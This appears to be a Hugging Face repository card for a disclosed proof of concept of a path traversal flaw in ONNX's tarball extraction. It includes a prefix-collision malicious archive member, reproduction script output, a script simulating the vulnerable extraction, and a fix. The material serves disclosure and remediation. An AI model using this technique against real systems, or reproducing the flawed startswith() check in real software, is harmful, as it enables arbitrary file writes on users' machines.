You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

ONNX Path Traversal PoC (CWE-22)

Security Research Artifact โ€” This repository contains a benign proof-of-concept demonstrating a path traversal vulnerability in the ONNX library's tarball extraction utilities.

Vulnerability Summary

Field Value
Type Path Traversal (CWE-22)
Component onnx.utils._tar_members_filter() in onnx/utils.py
Attack Vector Prefix collision bypass in startswith() path validation
Impact Arbitrary file write when extracting untrusted ONNX model archives
Severity High (CVSS 7.5)

How It Works

The vulnerable code attempts to prevent directory traversal using:

abs_base = os.path.abspath(base)
abs_member = os.path.abspath(member_path)
if not abs_member.startswith(abs_base):
    raise RuntimeError("...")

This is bypassed via prefix collision:

Base directory:    /tmp/onnx_models
Malicious member:  ../onnx_models_attacker/marker.txt
Resolved path:     /tmp/onnx_models_attacker/marker.txt

Check: /tmp/onnx_models_attacker/marker.txt.startswith("/tmp/onnx_models")
Result: True -> BYPASSED!

The file is written to /tmp/onnx_models_attacker/ (outside the intended directory) because the string /tmp/onnx_models_attacker/... starts with /tmp/onnx_models.

Repository Contents

File Description
model.onnx Minimal placeholder ONNX model
malicious_model.tar.gz PoC archive containing the prefix collision bypass
poc_reproduce.py Standalone reproduction script
config.json Hugging Face model config

Reproduction

Prerequisites

pip install onnx

Run the PoC

python poc_reproduce.py

Expected output: ```

ONNX Tarball Path Traversal - Prefix Collision Bypass PoC

[+] Target extraction directory: /tmp/onnx_models_xxxxxx [+] Attacker-controlled directory: /tmp/onnx_models_xxxxxx_attacker [+] Created malicious tar: /tmp/onnx_models_xxxxxx/malicious_model.tar.gz


[TEST 1] Vulnerable _tar_members_filter()

[VULNERABLE] Filter ACCEPTED 2 members! [VULNERABLE] Malicious member would extract to: /tmp/onnx_models_xxxxxx_attacker/PWNED.txt [CONFIRMED] File written outside base_dir! [CONFIRMED] Content: HUNTR_POC_PREFIX_COLLISION_BYPASS


[TEST 2] Fixed _tar_members_filter() with realpath()

[SAFE] Filter correctly blocked: Path traversal detected: ../onnx_models_attacker/PWNED.txt resolves to /tmp/onnx_models_xxxxxx_attacker/PWNED.txt

====================================================================== PoC Complete. The vulnerable filter allows arbitrary file write.


## Manual Verification

```python
import tarfile
import os
import tempfile

# Simulate vulnerable ONNX extraction
def vulnerable_extract(tar_path, base_dir):
    with tarfile.open(tar_path, 'r:gz') as tar:
        for member in tar:
            member_path = os.path.join(base_dir, member.name)
            abs_base = os.path.abspath(base_dir)
            abs_member = os.path.abspath(member_path)
            if not abs_member.startswith(abs_base):
                raise RuntimeError(f"Blocked: {member.name}")
            print(f"ACCEPTED: {member.name}")
        tar.extractall(base_dir)

base = tempfile.mkdtemp()
vulnerable_extract("malicious_model.tar.gz", base)

# Verify file was written outside base
if os.path.exists(base + "_attacker/PWNED.txt"):
    print("VULNERABILITY CONFIRMED: File extracted outside intended directory")

Disclosure

  • Platform: Huntr โ€” Bug Bounty for AI/ML
  • Target: onnx/onnx
  • Date: 2026-04-22
  • Status: Awaiting triage

This PoC is released for authorized security research and responsible disclosure purposes only. The archive contains no malicious executable code โ€” only a text marker file demonstrating the traversal capability.

Remediation (for Maintainers)

Replace the vulnerable startswith() check with os.path.realpath() and strict directory containment:

def _tar_members_filter(tar, base):
    result = []
    base = os.path.realpath(base)
    for member in tar:
        member_path = os.path.join(base, member.name)
        abs_member = os.path.realpath(member_path)
        if not (abs_member == base or abs_member.startswith(base + os.sep)):
            raise RuntimeError(f"Path traversal: {member.name}")
        if member.issym() or member.islnk():
            raise RuntimeError(f"Symbolic links not allowed: {member.name}")
        result.append(member)
    return result
Downloads last month
-
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐Ÿ™‹ Ask for provider support